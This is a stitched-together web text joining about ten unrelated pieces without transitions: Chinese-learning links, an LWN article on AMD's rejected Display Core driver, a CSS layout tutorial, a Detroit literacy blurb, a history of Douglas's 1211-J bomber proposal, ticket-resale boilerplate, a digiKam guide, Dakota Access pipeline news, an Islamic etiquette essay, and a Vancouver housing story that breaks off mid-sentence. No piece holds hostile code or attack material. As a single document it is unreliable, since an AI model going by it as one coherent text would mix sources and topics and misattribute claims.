https://mandarinwithmanu.wordpress.com/2016/01/24/nouns-are-weird-translation-exercises/ Twitter: @MandarinWManu Famous Chinese dishes Traveling to China? Or just want to eat authentic Chinese food? This list of famous dishes, including their characters, will help to set you straight: http://www.learnchinesechina.com/site-content/40-blog/1688-most-famous-dishes-in-china-a-z-part#.Vq8GyD82sVd Did learning Chinese change your life? A discussion among people who are relatively fluent in Chinese, who tell us how knowing the language has affected their lives and careers: https://www.reddit.com/r/ChineseLanguage/comments/42h23m/those_whom_learnt_or_are_fluent_in_chinese_how/ Do Chinese children learn Pinyin? Do Chinese children learn Pinyin, either before or while learning characters? https://www.reddit.com/r/Chinese/comments/431h6n/is_pinyin_taught_in_chinese_schools/ Do native speakers know their tones? If you ask a native speaker to identify the tones, can they do it? Does this matter for non-native speakers who are learning Chinese? https://www.reddit.com/r/ChineseLanguage/comments/42jgrt/do_you_think_that_most_people_who_learn_chinese/ How’s it going? How can you ask someone how something is going? And when you do so, how which 的／得 is appropriate? https://www.reddit.com/r/ChineseLanguage/comments/43kilh/%E5%AD%A6%E7%9A%84%E5%BE%97%E6%80%8E%E4%B9%88%E6%A0%B7%E4%BA%86_what_does_this_exactly_mean/ Li Li Li What is the difference between the characters 裡, 裏 and 里? All are pronounced lǐ, but are the meanings or uses different? http://chinese.stackexchange.com/questions/17089/what-is-the-difference-between-%E8%A3%A1-%E8%A3%8F-and-%E9%87%8C Your opinion, please What is the difference between 看法 and 想法? Both seem to mean “opinion,” but are they used in different ways? http://chinese.stackexchange.com/questions/17054/what-is-the-difference-between-%E7%9C%8B%E6%B3%95-and-%E6%83%B3%E6%B3%95 I thought so What is the difference between 认为 (rèn wéi) and 以为 (yǐ wéi)? Both seem to mean “I thought so,” but they aren’t quite the same: http://chinese.stackexchange.com/questions/17027/what-is-the-difference-between-%E8%AE%A4%E4%B8%BA-and-%E4%BB%A5%E4%B8%BA Beautiful and ugly behavior? You can use 美 and 丑 to indicate that something is beautiful or ugly. But does this work for behavior, or is it limited to appearances? http://www.chinese-forums.com/index.php?/topic/50818-do-%E7%BE%8E-and-%E4%B8%91-often-refer-to-both-appearance-and-behavior/ Receiving There are two ways to receive something in Chinese, and the distinction between 受 (shòu) and 收 (shōu) isn’t always obvious: http://chinese.stackexchange.com/questions/17029/what-is-the-difference-between-%E5%8F%97-and-%E6%94%B6 -AMD's Display Core difficulties LWN.net needs you! Without subscribers, LWN would simply not exist. Please consider signing up for a subscription and helping to keep LWN publishing Back in 2007, the announcement that AMD intended to reverse its longstanding position and create an upstream driver for its graphics processors was joyfully received by Linux users worldwide. As 2017 approaches, an attempt by AMD to merge a driver for an upcoming graphics chip has been rejected by the kernel's graphics subsystem maintainer — a decision that engendered rather less joy. A look at this discussion reveals a pattern seen many times before; the positions and decisions taken can seem arbitrary to the wider world but they are not without their reasons and will, hopefully, lead to a better kernel in the long run. A quick timeline Back in February, Harry Wentland posted a patch set adding the new "DAL display driver" to the AMD GPU subsystem; this driver, he said, would "allow us going forward to bring display features on the open amdgpu driver (mostly) on par with the Catalyst driver." It was not a small patch, adding 279 new source files containing nearly 94,000 lines of code. That code saw little public discussion and was never merged, though it has become clear that some private discussion took place. In March, Alex Deucher proposed that DAL should be merged, saying that it was to be the core of the new display stack; his goal was to get it into the 4.7 release. Graphics maintainer Dave Airlie made it clear that this was not going to happen, saying that: "I think people are focusing on the minor comments and concerns and possibly deliberately ignoring the bigger concern that this code base is pretty much unmergeable as-is." His biggest complaint had to do with the overall design, which involved a lot of abstraction code that tried to hide the details of working with the kernel from the rest of the code. Others echoed his concerns and, indeed, the code was not merged for 4.7 or any other kernel released since then. The current chapter began on December 7, when Wentland posted an RFC note saying that this code (now going by the name "display core") was needed to support the next generation GPU coming out of AMD. The company, he said, has based all of its efforts on the display core code, using it as the foundation for all of its quality-assurance work, its OEM preloads, and more. And, he noted: "DC behavior mirrors what we do for other OSes". That last point is important; the display core code helps the company maintain the driver across multiple operating systems by hiding a lot of system-specific interfaces. This time, Daniel Vetter complained about the abstraction layers in the code and described why they were not acceptable in the mainline kernel. Airlie responded more strongly, saying that this code would not be merged in its current form: Given the choice between maintaining Linus' trust that I won't merge 100,000 lines of abstracted HAL code and merging 100,000 lines of abstracted HAL code I'll give you one guess where my loyalties lie. As one might expect, a certain amount of back-and-forth resulted; the AMD developers were not pleased by this response. It can only have felt like a slap to a group of developers who were trying to do the right thing by getting support for their hardware into the mainline kernel. Even so, they stayed with the discussion, which remained almost entirely civil, and which, in the end, seems to be leading to a viable path forward. The trouble with midlayers There are a number of complaints with the AMD driver code; it is not often that tens of thousands of lines of new code are free of problems. But the biggest issue has to do with the midlayer architecture. A midlayer, as its name suggests, sits between two other layers of code, typically with the purpose of hiding those outer layers from each other. In this case, for example, the display core code tries to hide the details of low-level hardware access, allowing the upper-layer driver to run on any operating system. The kernel community has a long experience with midlayers, and that experience is generally seen as being bad. For an extensive discussion of the midlayer pattern in the kernel, this 2009 article from Neil Brown is recommended reading. A midlayer architecture can bring a whole raft of long-term maintainability issues in general; the graphics developers are also concerned about some more specific issues. The idea behind AMD's midlayer is to abstract out the Linux-specific details in the driver. That may be desirable for somebody trying to maintain a cross-platform driver; it also helps the AMD developers get the Linux driver working before the hardware engineers move on to the next product and stop answering questions. But code structured in this way is painful for people trying to maintain the Linux kernel. Understanding higher-level code becomes harder when that code does not follow the normal patterns used by graphics drivers; that can be hard for maintenance in general, but it can become a severe impediment to any sort of refactoring work. As Airlie put it: If I'd given in and merged every vendor coded driver as-is we'd never have progressed to having atomic modesetting, there would have been too many vendor HALs and abstractions that would have blocked forward progression. Merging one HAL or abstraction is going to cause pain, but setting a precedent to merge more would be just downright stupid maintainership. A hardware abstraction layer must be maintained to meet the needs of code for other operating systems — code that the Linux kernel developers cannot see (and probably don't want to). In effect, that means that nobody outside of the originating company can touch the midlayer code, making community maintenance impossible. If members of the community do try to patch the midlayer — often to remove code that, from the kernel's perspective, is redundant — they will run afoul of the driver maintainers, who may well try to block the work. If they are successful in doing so, the result is code in the community kernel that is essentially off-limits for community developers. Functionality placed in a midlayer, rather than in common code, has a high likelihood of developing its own behavioral quirks. As a result, drivers using the midlayer will behave differently from other drivers for similar hardware, often in subtle ways. That creates pain for application developers, who no longer have a single driver interface to work with. A midlayer will also tend to isolate its developers from the common core code. The midlayer will be fixed and improved, often to work around shortcomings in the common layer, rather than improving the common layer itself. Kernel developers would rather see that effort going into the common code, where it benefits all users rather than one driver in particular. Developers who work on this support code have a say in the direction it takes, while developers who work on a midlayer generally do not. So things tend to diverge further over time, with the driver developers feeling that the core is not developed with their needs in mind. Finally, midlayer-based code has a certain tendency to get stuck on older kernel versions; indeed, the current display core code is still based on 4.7. That makes it hard to maintain as the kernel goes forward. In this case, Vetter summarized this aspect of the problem by saying: "I think you don't just need to demidlayer DAL/DC, you also need to demidlayer your development process." Code intended for the mainline needs to be developed and tested against the current mainline, or it will inevitably fall behind. The way forward Regardless of how one views the odds of seeing the Year of the Linux Desktop in the near future, it seems certain that those odds can only be worse in the lack of AMD GPU drivers. The blocking of such a driver — otherwise on track to be in mainline before the hardware ships — thus looks like a step backward for a subsystem that has already struggled to gain support for current hardware. Chances are, though, that this standoff will be resolved more quickly than people might expect. The AMD developers were not unaware of the problems and, it seems, not unwilling to fix them. Deucher said: What I really wanted to say was that this was an RFC, basically saying this is how far we've come, this is what we still need to do, and here's what we'd like to do. This was not a request to merge now or an ultimatum. Some work has indeed been done since the early posting of this patch set; and, it is said, about one-third of the midlayer code is gone. Vetter made it clear that this work had been seen and appreciated: I guess things went a bit sideways by me and Dave only talking about the midlayer, so let me first state that the DC stuff has massively improved through replacing all the backend services that reimplemented Linux helper libraries with their native equivalent. That's some serious work, and it shows that AMD is committed to doing the right thing. The code that had been removed so far is, naturally enough, the easiest third to take care of; getting rid of the rest of the midlayer will require some significant refactoring of the code. Vetter provided a roadmap for how that work could be done; Wentland and AMD developer Tony Cheng agreed that the path seemed workable. Wentland acknowledged that things could have been done better at AMD, saying: "We really should've started DC development in public and probably would do that if we had to start anew." Actually getting all that work done may take a while; it must compete with other small tasks like making the driver actually work for existing and upcoming hardware. One might conclude that what we are really seeing here is a negotiation over just how much of this work must be done before the code is deemed good enough that the rest of the fixes can be done in the mainline. Maintainers tend to worry about giving way in such situations because, once they have merged the code, they have given up their strongest leverage and can find that the developers become surprisingly unmotivated to finish the job. Arguably, that is a relatively unlikely outcome here; AMD has been trying to improve its upstream development for nearly a decade and its developers know what the rules are. The most likely outcome, thus, is that this driver is delayed for perhaps a few more development cycles while the worst problems are taken care of and some sort of convincing story exists for the rest. Then it will be welcomed into the kernel as a welcome addition to mainline support for current hardware, and users worldwide will have something to celebrate. The Year of the Linux Desktop, unfortunately, may be a little slower in coming. -A whole bunch of years ago, we posted on this idea here on CSS-Tricks. We figured it was about time to update that and do the subject justice. Imagine a scenario where you need to split a layout in half. Content on the left and content on the right. Basically two equal height columns are needed inside of a container. Each side takes up exactly half of the container, creating a distinct break between one. Like many things in CSS, there are a number of ways to go about this and we're going to go over many of them right now! Using Background Gradient One simple way we can create the appearance of a changing background is to use gradients. Half of the background is set to one color and the other half another color. Rather than fade from one color to another, a zero-space color stop is set in the middle. .container { background: linear-gradient( to right, #ff9e2c 0%, #ff9e2c 50%, #b6701e 50%, #b6701e 100% ); } This works with a single container element. However, that also means that it will take working with floats or possibly some other layout method if content needs to fill both sides of the container. See the Pen Left Half / Right Half with Background Gradient by CSS-Tricks (@css-tricks) on CodePen. Using Absolute Positioning Another route might be to set up two containers inside of a parent container, position them absolutely, split them up in halves using percentages, then apply the backgrounds. The benefit here is that now we have two separate containers that can hold their own content. See the Pen Left Half / Right Half with Absolute Positioning by CSS-Tricks (@css-tricks) on CodePen. Absolute positioning is sometimes a perfect solution, and sometimes untenable. The parent container here will need to have a set height, and setting heights is often bad news for content (content changes!). Not to mention absolute positioned elements are out of the document flow. So it would be hard to get this to work while, say, pushing down other content below it. Using (fake) Tables Yeah, yeah, tables are so old school (not to mention fraught with accessibility issues and layout inflexibility). Well, using the display: table-cell; property can actually be a handy way to create this layout without writing table markup in HTML. In short, we turn our semantic parent container into a table, then the child containers into cells inside the table — all in CSS! See the Pen Left Half / Right Half with Display Table by CSS-Tricks (@css-tricks) on CodePen. You could even change the display properties at breakpoints pretty easily here, making the sides stack on smaller screens. display: table; (and friends) is supported as far back as IE 8 and even old Android, so it's pretty safe! Using Floats We can use our good friend the float to arrange the containers beside each other. The benefit here is that it avoids absolute positioning (which as we noted, can be messy). See the Pen Left Half / Right Half with Floats by CSS-Tricks (@css-tricks) on CodePen. In this example, we're explicitly setting heights to get them to be even. But you don't really get that ability with floats by default. You could use the background gradient trick we already covered so they just look even. Or look at fancy negative margin tricks and the like. Also remember you may need to clear the floats on the parent element to keep the document flow happy. Using Inline-Block If clearing elements after floats seems like a burden, then using display: inline-block is another option. The trick here is to make sure that the elements for the individual sides have no breaks or whitespace in between them in the HTML. Otherwise, that space will be rendered as a literal space and the second half will break and fall down. See the Pen Left Half / Right Half with Inline-Block by CSS-Tricks (@css-tricks) on CodePen. Again there is nothing about inline-block that helps us equalize the heights of the sides, so you'll have to be explicit about that. There are also other potential ways to deal with that spacing problem described above. Using Flexbox Flexbox is a pretty fantastic way to do this, just note that it's limited to IE 10 and up and you may need to get fancy with the prefixes and values to get the best support. Using this method, we turn our parent container into a flexible box with the child containers taking up an equal share of the space. No need to set widths or heights! Flexbox just knows what to do, because the defaults are set up perfectly for this. For instance, flex-direction: row; and align-items: stretch; is what we're after, but those are the defaults so we don't have to set them. To make sure they are even though, setting flex: 1; on the sides is a good plan. That forces them to take up equal shares of the space. See the Pen Left Half / Right Half with Flexbox by CSS-Tricks (@css-tricks) on CodePen. In this demo we're making the side flex containers as well, just for fun, to handle the vertical and horizontal centering. Using Grid Layout For those living on the bleeding edge, the CSS Grid Layout technique is like the Flexbox and Table methods merged into one. In other words, a container is defined, then split into columns and cells which can be filled flexibly with child elements. If the cells in the demo below are stacked, then your browser doesn't support CSS Grid. At the time of this writing, support is limited to Firefox, Chrome, Safari and Opera (except Opera Mini). See the Pen Left Half / Right Half with Grid Layout by CSS-Tricks (@css-tricks) on CodePen. Isn't it cool how many ways there are to do things in CSS? -Wikimedia Commons Detroit was once the symbol of American wealth and industrial capacity. It is now everybody's emblem of decline. The data about Detroit grow more depressing by the month. This report may be the most depressing thing you'll read all year. In a nutshell, it says that roughly half of all the people who live in Detroit are illiterate. They can't read the back of a cereal box. They can't read a weather report. They can't read at all. As Andrew Coulson notes in his blog at Cato: "Virtually the entire illiterate population has completed elementary school, the level at which reading is theoretically taught. That's seven years of schooling (k-6), at a cost of roughly $100,000, for… nothing." By way of epitaph, last month every teacher in the Detroit public school system was laid off. -On January 26, 1950, when General Curtis E. LeMay, commander of the U.S. Air Force Strategic Air Command, attended yet another conference to discuss the next U.S. long-range heavy bomber, his mind was likely already made up. The Convair B-36 was soon to be obsolete, and a variety of successors had been proposed. But Boeing bombers had served the U.S. military well during World War II, and if LeMay got his way—and he usually did—the next big bomber would be another Boeing product: the B-52 Stratofortress. The potential contract was huge, and U.S. aircraft manufacturers brought ambitious proposals to the table. One of the designs—the Model 1211-J—came from the Douglas Aircraft Company in Santa Monica, California. Never had a bomber looked so capable—on paper. Powered by four turboprop engines, the Model 1211-J was a colossus—160 feet long with a wingspan of 227 feet, about the size of the Convair behemoth it was to replace. It was designed around a new 43,000-pound conventional bomb but could carry nuclear weapons as well. It could also carry its own fighter escorts, as parasites under its immense wings. A variety of fighter types were suggested, including Douglas' new ogival-wing jet, the F4D Skyray. The fighters' jet engines were to be powered up to assist the carrier bomber during takeoff; refueling of the fighters was to take place while they were stowed on the mothership's underwing pylons. Though the concept of parasite aircraft had an appealing ingenuity, flying them was fraught with difficulty. Flight testing had revealed that turbulent airflow would form under the carrier aircraft, causing severe problems as the fighter attempted to reattach itself to the host aircraft. Would the Model 1211-J have succeeded as a parasite platform? "The combination of the totally new bomber and the totally new fighter, attaching itself in the direct path of the turboprop propeller wash, is frightening to contemplate," says Walt Boyne, a retired B-52 pilot and former director of the National Air and Space Museum. "The inclusion almost smacks of either desperation or a sense of humor on the designers' part." (A few years later, the parasite concept was rendered obsolete by the use of inflight refueling.) In place of the parasite fighters, large underwing drop tanks and special-purpose pods could be substituted to provide, according to the Douglas proposal, "extreme versatility in operations." Douglas engineers imagined pods—"droppable or not as desired," the proposal states—that could carry reconnaissance or radar equipment, countermeasures, even personnel to supplement the bomber's nine-man crew. One drawing shows the pods in a photo-reconnaissance configuration, complete with cameras and even a small film-processing lab. Without the parasites, the Douglas bomber could defend itself with a choice of radar-controlled 20-mm cannon or Hughes MX-904 self-guided missiles, stored in an internal rotary launcher like an oversized Colt six-shooter. The Douglas team had also proposed droppable takeoff gear positioned under the outer section of the 1211-J's enormous wings. "Using droppable gear is always a last resort," says Boyne. "The B-52 had retractable tip gear, which was a heavier but more sensible solution." By including so many options, the Model 1211-J's designers tried to make the bomber a paragon of multi-tasking self-sufficiency. They had hoped to sell the Air Force not just a single bomber but a family of aircraft, with a variety of airframes to choose from, including custom options and mission-specific add-ons. But would asking so much of the 1211-J compromise its ability to do its main job: put bombs on target? "I've always been a minimalist in aircraft design," says aerospace historian and author Dick Hallion. "When you take a look at this Douglas design, there's a lot of frou-frou. There are a lot of things here that wouldn't work out well operationally. There are a lot of issues that make turboprops unreliable: gearbox issues, shafting issues, the propellers themselves. These are all complex problems that need to be worked out." And even if Douglas engineers could have solved the 1211-J's problems, the bomber's fussy design would have made it a maintenance nightmare. The Douglas designers of course hoped to dazzle the Air Force with possibility, but no matter how much versatility they put into the 1211-J, it wasn't enough to interest LeMay, who kept pushing for the more practical, turbojet-powered B-52. In the spring of 1951, Air Force chief of staff General Hoyt Vandenberg approved the Boeing proposal. Given the stupendous—and ongoing—career of the B-52, this was certainly a wise decision. -Tickets for Imagine Dragons Concert in Orlando No Events Scheduled for Imagine Dragons in Orlando. Click Here to find Imagine Dragons tickets in the Orlando area. Orlando Imagine Dragons Ticket Guarantee Your Orlando Imagine Dragons seats are located together The Imagine Dragons Orlando will arrive in time for the event or will be easily obtainable at the venue All Orlando Imagine Dragons sold on this site are 100% real, authentic tickets valid for admission to the event Your Imagine Dragons Orlando tickets will be refunded if the event is cancelled Your Imagine Dragons Orlando tickets will be the exact tickets your ordered or better Checkout Security Additionally, our online checkout is a safe and secure checkout that protects your information and keeps your transaction safe. Our checkout... Uses a secure certificate which improves security measures when entering personal data Is monitored by ControlScan® to keep your identity and information secure Allows for peace of mind and safety Imagine Dragons Orlando Concert Tickets Imagine Dragons will be performing a live concert in Orlando. All fans of Imagine Dragons in Orlando, have been awaiting this concert. Tickets for Imagine Dragons in Orlando, are in high demand and now that tickets for Imagine Dragons in Orlando are on sale, people are ordering cheap Imagine Dragons concert tickets. -digiKam bills itself as a digital photo management application. Suffice it to say that digiKam is a humble application, because "digital photo management" barely touches on the feature set. digiKam basics If you don't have digiKam installed, you can either grab it for Linux, Windows, or, with a little bit of work, on OS X from the digiKam download page or, on Linux, from your distribution's software repository. Your distribution may or may not have the latest version, but don't get overly concerned about that; digiKam is in the enviable position of having been essentially a complete and stable application for years now, so unless you're looking for a specific feature that only exists in the latest version, it's going to be a good experience, at least just getting started. Upon first launch, you must step through a brief setup wizard. Some choices affect performance and file size, so read the screen carefully to decide what you really want, but all of the decisions can be changed later, so accepting the defaults is safe if you're not sure. Decisions, decisions. The initial launch will be slower than usual because digiKam must analyse the photographs in your collection and record information about each one. Depending on how many photos you have and how large they are, you might want to let it run over night. Interface The layout of digiKam is fairly intuitive, especially if you're a KDE user. The basics are pretty simple: On the left are panels that control how you view photos, in the middle are the photos themselves, and on the left are effects and filters. The initial default view is a filesytem view, starting from whatever directory you defined as your image folder during digiKam setup. DigiKam refers to whatever directories it finds within your image directory as an Album, and it parses each image file, along with its native metadata plus metadata digiKam allows you to add, into a thumbnail view. When you select a directory (or an album, if you prefer), the photos within are displayed as an array in the right panel. There are lots of other ways to view your photos, though, and they're all accessible as verticle tabs (a time-honored KDE interface tradition) along the left edge of the main window. In addition to the Album view, there are: Tags filters the photos in your collection by arbitrary metadata tags. There probably won't be tags at first (unless you've created or imported some), but you can create tags in the Tag Manager interface and assign them to pictures. Clicking on any tag (or control-clicking on several tags) in the Tag panel filters the thumbnail view to show photos with that tag assigned. The tag manager. Labels filters your photos according to how many stars you've assigned to a photograph. There are other forms of labels, such as color labels and flags, all user-assignable from the thumbnail view. filters your photos according to how many stars you've assigned to a photograph. There are other forms of labels, such as color labels and flags, all user-assignable from the thumbnail view. Dates , Timeline , and Map let you view photos by relevant data contained in the photo's EXIF information. , , and let you view photos by relevant data contained in the photo's EXIF information. People scans your photo collection for faces. DigiKam recognises faces as faces, and can even take guesses as to their identities (an "experimental" feature). Scanning your entire collection from the start can take a while, but once the initial scan is done, digiKam only scans photos upon import, so be patient on the first use and you won't even notice it happening from then on. There are other filtration options, including fuzzy searches to find images similar to one another, a sketch search to try to match a photo with a rough drawing of what you're looking for, and more. Thumbnail view The thumbnail view is the central panel of digiKam, but its right-click menu provides a host of important features, such as switching to fullscreen mode, assigning tags, and assiging labels, but also file-management functions and access to digiKam's digital darkroom. Aside from organizing your photos, the first thing you're likely to do once you have imported an SD card full of pictures is to figure out which of the group are the really good ones, and especially choose between several similar shots of the same subject. The method digiKam provides for this is its light table view, a separate window that helps you focus on just two or three photographs at a larger size than a little thumbnail. Comparing photos on the light table. To add a photo to your light table, either right-click on it and select Add to Light Table, or select a photo and press Ctrl-L. Because it's often used for comparing photos, you can add several photos to the light table at once; to add more photos, either right-click and select Add to Light Table again, or press Ctrl-Shift-L. The light table interface also has facial recognition overrides. If you've got a photo that digiKam hasn't identified faces in, or has mis-identified faces, then load it into the light table and right-click on the image. Select Add a Face Tag for the face tag editor. Draw a box around the face that you want to identify, and type the person's name into the text field. Photo by Michael Kordahi; CC BY-SA 2.0 The thumbnail view also can help manage your photos. Right-clicking enables common file management tasks, such as renaming photos, adding a photo to a specific album, or moving irreparable ones to the trash, and so on. To see information about a photo, use the vertical tabs on the right edge of the digiKam window. These show metadata, color data, versioning data, and more. Also from the thumbnail view, you can edit photos using digiKam's robust effect plugins. Editing and effects DigiKam has an built-in editor for most common photo effects and touch-ups. To get there, select a photo and click the Image Editor button along the top toolbar. This opens a new window for dedicated editing. The image editor interface has two entry points for nearly every function; you can select effects from the window menu or from the Select Tool button in the top toolbar. All the usual effects are present: color balance, saturation, levels, red-eye removal, and so on. Special effects are included, too, such as textures, oil paint filters, borders, film grains, film emulation (profiled by popular film stocks), and much, much more. Feel free to try them all because none of them alter your original photo until you save the changes. Filters and effects can be un-done from the Edit menu, but only in the order they were applied. The filters are linear (unlike in Darktable, where filters are truly filters that can be slotted in at different points in the filter stack), so if you apply a Color Balance filter and then a Vivid effect, if you undo the Color Balance then you also implicitly undo the Vivid effect that followed it. Make pictures better. Edit them. To see the effects applied to a photograph, click the Versioning tab along the right side of the Image Editor window and select the Used Filters tab. When you're finished, save your changes directly to your original photo, or save the changes as a new version. If you save a photo as a new version, then you'll see your new version in your thumbnail view, but you'll always have the option to view previous versions. Exporting Getting images out of digiKam, strictly speaking, is automatic, because photos are never "in" digiKam. DigiKam reads images straight from your file system, so to get an image from digiKam, all you have to do is look in the place you last left it. It'll still be there. In fact, not just the photo will be there; saved versions of the photo will also be there, named as you'd expect (the first new version of "IMG_050.jpg" becomes "IMG_050_v1.jpg", and so on). DigiKam also has convenient export options, though, depending on how you installed it. (Certain export options require additional libraries that you may or may not ever need.) Export targets include Piwigo, email, Flickr, Google Photos, Google Drive, Facebook, Debian Screenshots, MediaWiki, SmugMug, raw HTML, any remote computer you have an account on, and, believe it or not, many more. But wait, there's more! DigiKam is an easy but powerful photo management and re-touching application. It's got lots of great features, and this article has only touched on the basics. There's so much more to explore in digiKam, including features—such as the easiest Batch Queue processing system I've ever seen in a GUI photo application—that still elude other editors. DigiKam isn't just efficient, it's fun to use, brings your photos to life, makes rummaging through directories and directories of pictures to find the really good ones fun, and gives you the freedom and courage to make them better. If you're not using digiKam, and you also find yourself ignoring your photos, you owe it to yourself to give digiKam a go. If you're looking for a good photo manager with facial recognition, photo effects, and all the export options you could ever want, then get digiKam. In short, if you take photographs, you should treat yourself to digiKam. -In addition to the U.S. Army Corps of Engineers, the federal government announced it was also sending agents from the Bureau of Indian Affairs to help clear protesters from a camp near Lake Oahe in Cannon Ball. Protesters at the Dakota Access Pipeline camp near Lake Oahe in Cannon Ball, North Dakota, were given evacuation orders by the U.S. Army Corps of Engineers who cited public health and safety concerns, according to a statement released Friday. The Corps said that it would close the Oceti Sakowin Camp — located at the confluence of the Missouri and Cannonball Rivers — on Feb. 22 because of a "high potential for flooding" in the low-lying area, especially due to a record snowfall in the winter season. They also said that the "unauthorized placement of structures, vehicles, personal property, and fires" contributes to soil erosion and pollution which can result in contaminated waste seeping into both rivers. "As stewards of the public lands and natural resources, we have a responsibility to the public to prevent injuries and loss of life…we must also ensure our precious water resources are free from pollution due to human activities and respect for all who rely on this water for their livelihoods," U.S. Army Corps of Engineers Omaha District Commander Col. John Henderson said, according to NBC. Along with the U.S. Army Corps of Engineers, the federal government also announced Friday that it was sending officials of the Bureau of Indian Affairs to help clear protesters from the Standing Rock Sioux reservation. “North Dakota Governor [Doug] Burgum, the Standing Rock Sioux Tribe leadership, local law enforcement, and local landowners have all warned the public and those still camped of the dangerous spring flooding expected due to the heavy amount of snowfall the state received this winter…the closing of the camps is a matter of public health and safety, and working together at this time will allow for the safe removal of waste and debris that will impact the local environment and protection of those camped,” Michael S. Black, Acting assistant secretary of Indian affairs, said according to Washington Post. According to the Post, nearly 700 people have been arrested in southern North Dakota since the protests began in August over fears that the local water supply could be contaminated and sacred sites destroyed if the construction of the pipeline is allowed to continue. Although protesters won a major victory in December when the U.S. Army Corps of Engineers denied the builder of the $3.8 billion project — Texas-based Energy Transfer Partners — a permit to complete the final leg of the pipeline, President Donald Trump signed an executive order last week to expedite the construction. Responding to the president’s executive order, the acting secretary of the Army, Robert Speer, ordered the Army Corps of Engineers to grant an easement to Energy Transfer Partners to finish the pipeline, which was later confirmed Tuesday by North Dakota Sen. Heidi Heitkamp, who said so to NBC. Related Articles -Praise be to Allaah. Many people overstep the mark in speaking to others, and they do not observe any good manners or modesty. The reason for that is ignorance and a lack of interest in developing a good attitude or good manners. That includes what many people do of interfering in that which does not concern them and asking about people’s private affairs. It was narrated from Abu Hurayrah (may Allaah be pleased with him) that the Messenger of Allaah (peace and blessings of Allaah be upon him) said: “Part of a person’s being a good Muslim is leaving alone that which does not concern him.” Narrated by al-Tirmidhi (2318); classed as saheeh by al-Albaani. Ibn Rajab said in Jaami’ al-‘Uloom wa’l-Hikam (1/114-116): This hadeeth represents an important principle of etiquette. Imam Abu ‘Amr ibn al-Salaah narrated that Abu Muhammad ibn Abi Zayd, the imam of the Maalikis of his time, said: All good manners and etiquette are based on four ahaadeeth: The words of the Prophet (peace and blessings of Allaah be upon him): “Whoever believes in Allaah and the Last Day, let him speak good or else keep silent.” And the words of the Prophet (peace and blessings of Allaah be upon him): “Part of a person’s being a good Muslim is leaving alone that which does not concern him.” And the words of the Prophet (peace and blessings of Allaah be upon him): “Do not get angry.” And the words of the Prophet (peace and blessings of Allaah be upon him): “The believer loves for his brother what he loves for himself.” The meaning of this hadeeth is that part of his being a good Muslim is that he refrains from doing and saying that which does not concern him, and he does and says only that which does concern him, i.e., he has something to do with it. Mostly what is meant by refraining from that which does not concern him is guarding his tongue against idle talk. In al-Musnad (1/201) it is narrated from al-Hasan that the Prophet (peace and blessings of Allaah be upon him) said: “Part of a person’s being a good Muslim is talking little about that which does not concern him.” [al-Arna’oot said: It is hasan because of corroborating evidence]. ‘Umar ibn ‘Abd al-‘Azeez (may Allaah have mercy on him) said: The one who regards his words as being among his deeds speaks little except about that which concerns him. And it is as he said. Many people do not regard their words as being among their deeds, so they are careless and do not watch what they say. But Allaah has stated that there is nothing good in much of what people talk about amongst themselves. He says (interpretation of the meaning): “There is no good in most of their secret talks save (in) him who orders Sadaqah (charity in Allaah’s Cause), or Ma‘roof (Islamic Monotheism and all the good and righteous deeds which Allaah has ordained), or conciliation between mankind” [al-Nisa’ 4:114] al-Tirmidhi and Ibn Maajah narrated from Umm Habeebah that the Prophet (peace and blessings of Allaah be upon him) said: “Everything that the son of Adam says is counted against him and not for him, except enjoining what is good and forbidding what is evil, and remembering Allaah, may He be glorified and exalted. [It was classed as da’eef by al-Albaani in Da’eef al-Tirmidhi]. Some people stated in the presence of Sufyaan al-Thawri that they found this hadeeth strange, and Sufyaan said: Why do you find this strange? Allaah says (interpretation of the meaning): “There is no good in most of their secret talks save (in) him who orders Sadaqah (charity in Allaah’s Cause), or Ma‘roof (Islamic Monotheism and all the good and righteous deeds which Allaah has ordained), or conciliation between mankind” [al-Nisa’ 4:114]. Al-Tirmidhi narrated that Anas (may Allaah be pleased with him) said: One of the companions of the Prophet (peace and blessings of Allaah be upon him) died, and a man said: Glad tidings to him of Paradise. The Messenger of Allaah (peace and blessings of Allaah be upon him) said “You don’t know; perhaps he spoke of that which did not concern him, or he was miserly with something that he could do without.” Classed as saheeh by al-Albaani in al-Silsilah al-Saheehah (3103). Reports with similar meanings were narrated via numerous isnaads from the Prophet (peace and blessings of Allaah be upon him) and in some of them it says that the man was killed as a martyr. End quote. Al-Munaawi said in Fayd al-Qadeer (7/3): It is possible that what is meant is asking a man too many questions about his situation, which includes asking about that which does not concern one. That also may lead to embarrassment for the one who is being asked, because he may prefer not to tell him about his situation, and if he tells him he may feel upset about that, but if he lies to him or tries to give indirect answers he may still feel upset, and if he ignores his question that will be bad manners. End quote. There are reports from some of the salaf which point to this matter of etiquette: ‘Amr ibn Qays al-Malaa’i said: A man passed by Luqmaan and there were people with him. He said to him: Aren’t you the slave of such and such a tribe? He said: Yes. He said: Didn’t you used to farm by Mount So and so? He said: Yes. He said: Then how have you ended up as I see you? He said: Speaking the truth and keeping silent for a long time about that which does not concern me. Muwarriq al-‘Ijli said: It is something that I have been seeking for so many years, but I was not able to do it, but I will never stop looking for it. They said: What is it? I said: Refraining from that which does not concern me. Both reports were narrated from Ibn Abi’l-Dunya. Abu ‘Ubaydah narrated that al-Hasan al-Basri said: One of the signs of Allaah’s turning away from a man is that he becomes involved in that which does not concern him, as a sign that Allaah, may He be glorified and exalted, has left him to his own devices. The above shows people how to adopt this important attitude and etiquette, and how to interact with one another in accordance with the guidance of the Prophet (peace and blessings of Allaah be upon him) and the righteous. For more information on this sublime etiquette that is lacking among many people, see the commentary on hadeeth no. 12 in Jaami’ al-‘Uloom by Ibn Rajab al-Hanbali (may Allaah have mercy on him), where there is a useful discussion under the heading: Mu’allim fi tarbiyat al-nafs min husni islaam al-mar’i tarkuhu ma la ya’neehi, written by ‘Abd al-Lateef ibn Muhammad al-Hasan, in the al-Bayaan book series published by al-Muntada al-Islami in London. And Allaah knows best. -Construction has hardly begun at the first of Vancouver’s temporary modular housing projects and already pushback is mounting against the city’s latest strategy to house its homeless. Vancouver was granted an injunction earlier this week from the Supreme Court of British Columbia to dislodge protesters who were preventing work crews from accessing a construction site in the tony neighbourhood of Marpole. Some residents feel blindsided by the move and are critical of a decision they feel puts children in danger. Three schools are close to the project, including an elementary school located directly across the street. The Marpole site will host two buildings with a total of 78 units, each of which would measure about 23 square metres and contain a kitchen and washroom. The project is part of a $66-million investment from the provincial government to build 600 units across Vancouver. Another 2,000 modular living quarters are planned across B.C. over the next two years. Derek Palaschuk, a spokesman for the Caring Citizens of Vancouver Society, said the community fully supports the construction of modular housing and solving homelessness in Vancouver. “It’s the right idea but wrong location,” he said on Thursday. “You should not put our children at risk by having this modular 